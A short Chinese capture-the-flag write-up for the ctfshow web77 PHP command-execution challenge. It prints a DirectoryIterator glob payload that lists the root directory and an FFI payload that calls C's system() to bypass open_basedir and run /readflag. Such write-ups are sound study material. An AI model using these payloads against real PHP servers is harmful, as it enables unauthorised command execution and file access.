exit(0);
Ctfshow 命令执行 web77
题目描述:命令执行最后一题,php7.4,基本上命令执行就告一段落了(php7.4应该想到FFI)
看上去和之前一样,只是看上去。
读取根目录:(flag在/readflag
文件中)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
但是PDO那个方法不能用了
这题利用FFI扩展用C语言(?)执行命令,绕过open_basedir
限制。(只限制了PHP的访问目录,不关C语言的事情)
FFI:php7.4以上才有,是PHP的一个扩展。提供了一种在纯PHP中编写PHP扩展和对C库的绑定的方法。
参考文章:
https://zhuanlan.zhihu.com/p/119129348
https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807.html
payload:(记得去掉注释)
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt'; //没有回显,需要重定向到文件
$ffi->system($a); //通过$ffi去调用system函数